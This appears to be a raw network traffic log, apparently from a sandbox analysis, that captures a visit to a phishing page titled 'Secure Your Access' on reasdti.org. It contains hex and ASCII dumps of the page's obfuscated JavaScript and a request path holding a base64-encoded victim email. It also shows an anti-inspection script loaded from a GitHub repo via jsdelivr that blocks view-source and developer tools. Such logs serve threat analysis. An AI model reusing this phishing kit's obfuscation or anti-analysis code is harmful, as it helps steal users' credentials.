NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://reasdti.org/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=u7ch8faibiok4oc1javn5n9pdv
2025-03-21 18:13:29 UTC	434	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:13:27 GMT Server: Apache/2.4.62 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-21 18:13:29 UTC	7758	IN	Data Raw: 32 38 35 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 26 23 38 33 3b 26 23 31 30 31 3b 26 23 39 39 3b 26 23 31 31 37 3b 26 23 31 31 34 3b 26 23 31 30 31 3b 26 23 33 32 3b 26 23 38 39 3b 26 23 31 31 31 3b 26 23 31 31 37 3b 26 23 31 31 34 3b 26 23 33 32 3b 26 23 36 35 3b 26 23 39 39 3b 26 23 39 39 3b 26 23 31 30 31 3b 26 Data Ascii: 2851<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Secure Your Acce&
2025-03-21 18:13:29 UTC	2569	IN	Data Raw: 65 6e 67 74 68 27 2c 27 31 6e 44 54 4b 77 45 27 2c 27 74 6f 53 74 72 69 6e 67 27 2c 27 74 61 62 6c 65 27 2c 27 65 78 63 65 70 74 69 6f 6e 27 2c 27 5f 5f 70 72 6f 74 6f 5f 5f 27 2c 27 5c 78 35 63 2b 5c 78 35 63 2b 5c 78 32 30 2a 28 3f 3a 5b 61 2d 7a 41 2d 5a 5f 24 5d 5b 30 2d 39 61 2d 7a 41 2d 5a 5f 24 5d 2a 29 27 2c 27 39 34 35 32 33 34 77 42 73 6e 64 4a 27 2c 27 63 6f 75 6e 74 65 72 27 2c 27 68 61 73 68 27 2c 27 69 6e 69 74 27 2c 27 64 65 62 75 27 2c 27 31 35 35 30 37 38 69 72 46 4e 49 72 27 2c 27 38 42 41 69 68 53 44 27 2c 27 39 35 32 30 35 32 68 58 58 43 72 4d 27 2c 27 31 31 32 34 37 38 35 39 62 61 51 63 58 55 27 2c 27 34 51 70 51 65 4e 53 27 2c 27 35 30 36 35 31 30 34 6a 4b 49 68 45 6d 27 2c 27 65 72 72 6f 72 27 2c 27 61 70 70 6c 79 27 2c 27 6c 6f 67 Data Ascii: ength','1nDTKwE','toString','table','exception','__proto__','\x5c+\x5c+\x20(?:[a-zA-Z_$][0-9a-zA-Z_$])','945234wBsndJ','counter','hash','init','debu','155078irFNIr','8BAihSD','952052hXXCrM','11247859baQcXU','4QpQeNS','5065104jKIhEm','error','apply','log
2025-03-21 18:13:29 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-21 18:13:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:31 UTC	1889	OUT	GET /CPM3ebNs0AFeSbY3S8VxZoyW6Qzt2TLhlrAzmJRdrmGHU5IqEsnVogWU7wDvtXT8Ym98JBY9BP93lKFdKjJe5Q05vuZ6MDo7cqGiAfyI0ikTvPKxpgf4cH4nOdwjyBf1oLRNca2ZbCaoNj1Ds7oiOxIqaXRu/index?a=YmVja3liQHBhcmFkaWdtLWNvcnAuY29t HTTP/1.1 Host: reasdti.org Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://reasdti.org/?cf-turnstile-response=0.z3amStZR32zF8Aj_ZGDe2s4esdRjBtlXEVXWq4U9kfHeuVjniF2NjSHinnVccOX3Gp5CchSDgH4NxCWste9t-JF60YJLBsRd3vyDkMeXbbyyybay2aiwi0-xgDfezdw-0emPePGYkM-IuV42f64v5o7ZsMOcVhJT-wFZK3leUhumWXEihdeEoOwFYWPw2CDuyja5JVlWqEY3vnqEmFNB2qu0jGkLKILE9v2ARYA38kglNTsWwyYaIzf9qb8Xz8FGnNiwBEXmfaSAahUNZdivaKpcTmYhxCdZFpglw6DVpN7mDyTkRrvs-hvMtiQbvUqt-qj64xcX96reKDw4Z0Ybk70Y4nFEuWuHxvO3UZJt7CocLYsuduXjzVRwg5ScaSKLwQc1UGNarTVIzj5bufpPQC8K0lQ8-TQxB5LHGcW84_UfIizQa1bEDfdvxCOFgvW80nWau9wsvrCnvpijHc5MDmLYhl1jj_bW-dbvd_OlcOTOLNfsMQoRsmqp5BEL49QY5EOp1Ub-bc3l3vJftRxs78iqT9z67IfhRcWH8ZEjKqZ6E5v3PUSOIkmqYi0VigPq60-CQWjx_S9ikf1tXFUja3AW1ttX5psH9HphQ_0MNynMEeLm742wEab2agw-sNDygxHDCsFwC3oXhOl9ELDtOOCPKvlIMyB_gU37t5Y5iCJYgVn2Mphw6tPH8IHzW7eT03RHrsPzkRyqoVpwgGIPBCJM5Eqssa2kWSBBD0FF3pSZmkCkeiXnoivAUGNUymrjbzBUnWzozA8MADGvEVtAqs5elEz1q_hTKNYzq6aKVJ4ktBwAb0KGgRZs8da2SLfQz6oWoeZPyVGS4Jsf266keQ.8Pu2OYpCyqLvTdKm7PCMqA.bcaa90b0ea70a89654b8775b36538485e85c5bceb1a8bd2f226bacff5c3d2538 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=u7ch8faibiok4oc1javn5n9pdv
2025-03-21 18:13:31 UTC	428	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:13:31 GMT Server: Apache/2.4.62 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type Content-Length: 6203 Connection: close Content-Type: text/html; charset=UTF-8
2025-03-21 18:13:31 UTC	6203	IN	Data Raw: 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 3c 74 69 74 6c 65 3e 26 23 38 33 3b 26 23 31 30 31 3b 26 23 39 39 3b 26 23 31 31 37 3b 26 23 31 31 34 3b 26 23 31 30 31 3b 26 23 33 32 3b 26 23 38 39 3b 26 23 31 31 31 3b 26 23 31 31 37 3b 26 23 31 31 34 3b 26 23 33 32 3b 26 23 36 35 3b 26 23 39 39 3b 26 23 39 39 3b 26 23 31 30 31 3b 26 23 31 31 35 3b 26 23 31 31 35 3b 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 2e 64 65 6c 69 76 65 72 65 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 Data Ascii: <html lang="en"><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title>Secure Your Access</title><style>body.delivered{display:none

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:32 UTC	588	OUT	GET /gh/syntaxerror019/HTML-STO/ld.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://reasdti.org/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:13:32 UTC	748	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2805 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=604800, s-maxage=43200 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: master X-JSD-Version-Type: branch ETag: W/"af5-IuZCjziTq18nLEpNfGlMwPnGfiA" Accept-Ranges: bytes Age: 41485 Date: Fri, 21 Mar 2025 18:13:32 GMT X-Served-By: cache-fra-eddf8230137-FRA, cache-lga21949-LGA X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-03-21 18:13:32 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 30 36 62 28 5f 30 78 35 32 64 31 33 35 2c 5f 30 78 32 61 62 62 36 30 29 7b 63 6f 6e 73 74 20 5f 30 78 32 39 36 34 31 39 3d 5f 30 78 32 39 36 34 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 35 30 36 62 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 30 36 62 34 66 2c 5f 30 78 63 31 64 37 62 65 29 7b 5f 30 78 35 30 36 62 34 66 3d 5f 30 78 35 30 36 62 34 66 2d 30 78 63 35 3b 6c 65 74 20 5f 30 78 32 64 34 32 34 66 3d 5f 30 78 32 39 36 34 31 39 5b 5f 30 78 35 30 36 62 34 66 5d 3b 72 65 74 75 72 6e 20 5f 30 78 32 64 34 32 34 66 3b 7d 2c 5f 30 78 35 30 36 62 28 5f 30 78 35 32 64 31 33 35 2c 5f 30 78 32 61 62 62 36 30 29 3b 7d 63 6f 6e 73 74 20 5f 30 78 32 64 37 39 64 62 3d 5f 30 78 35 30 36 62 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 Data Ascii: function _0x506b(_0x52d135,_0x2abb60){const _0x296419=_0x2964();return _0x506b=function(_0x506b4f,_0xc1d7be){_0x506b4f=_0x506b4f-0xc5;let _0x2d424f=_0x296419[_0x506b4f];return _0x2d424f;},_0x506b(_0x52d135,_0x2abb60);}const _0x2d79db=_0x506b;function _0x2
2025-03-21 18:13:32 UTC	1378	IN	Data Raw: 78 31 35 65 31 35 36 3d 7b 7d 29 7b 63 6f 6e 73 74 20 5f 30 78 32 34 33 61 63 39 3d 5f 30 78 32 64 37 39 64 62 2c 5f 30 78 31 38 39 65 32 36 3d 7b 27 42 31 27 3a 21 21 5b 5d 2c 27 54 38 27 3a 21 21 5b 5d 2c 27 52 37 27 3a 21 21 5b 5d 2c 27 47 34 27 3a 21 21 5b 5d 2c 27 59 35 27 3a 21 21 5b 5d 2c 27 4b 39 27 3a 21 21 5b 5d 2c 27 4e 30 27 3a 21 21 5b 5d 7d 2c 5f 30 78 33 65 37 34 62 64 3d 7b 2e 2e 2e 5f 30 78 31 38 39 65 32 36 2c 2e 2e 2e 5f 30 78 31 35 65 31 35 36 7d 3b 5f 30 78 33 65 37 34 62 64 5b 27 42 31 27 5d 26 26 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 32 34 33 61 63 39 28 30 78 64 39 29 5d 28 5f 30 78 32 34 33 61 63 39 28 30 78 63 64 29 2c 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 35 63 35 33 33 29 7b 63 6f 6e 73 74 20 5f 30 78 31 62 32 34 65 32 3d 5f 30 Data Ascii: x15e156={}){const _0x243ac9=_0x2d79db,_0x189e26={'B1':!![],'T8':!![],'R7':!![],'G4':!![],'Y5':!![],'K9':!![],'N0':!![]},_0x3e74bd={..._0x189e26,..._0x15e156};_0x3e74bd['B1']&&document[_0x243ac9(0xd9)](_0x243ac9(0xcd),function(_0x55c533){const _0x1b24e2=_0
2025-03-21 18:13:32 UTC	49	IN	Data Raw: 65 5c 78 32 30 61 74 74 65 6d 70 74 5c 78 32 30 6d 69 74 69 67 61 74 65 64 5c 78 32 30 28 43 74 72 6c 2b 55 29 2e 27 29 29 3b 7d 29 3b 7d 29 3b 0a Data Ascii: e\x20attempt\x20mitigated\x20(Ctrl+U).'));});});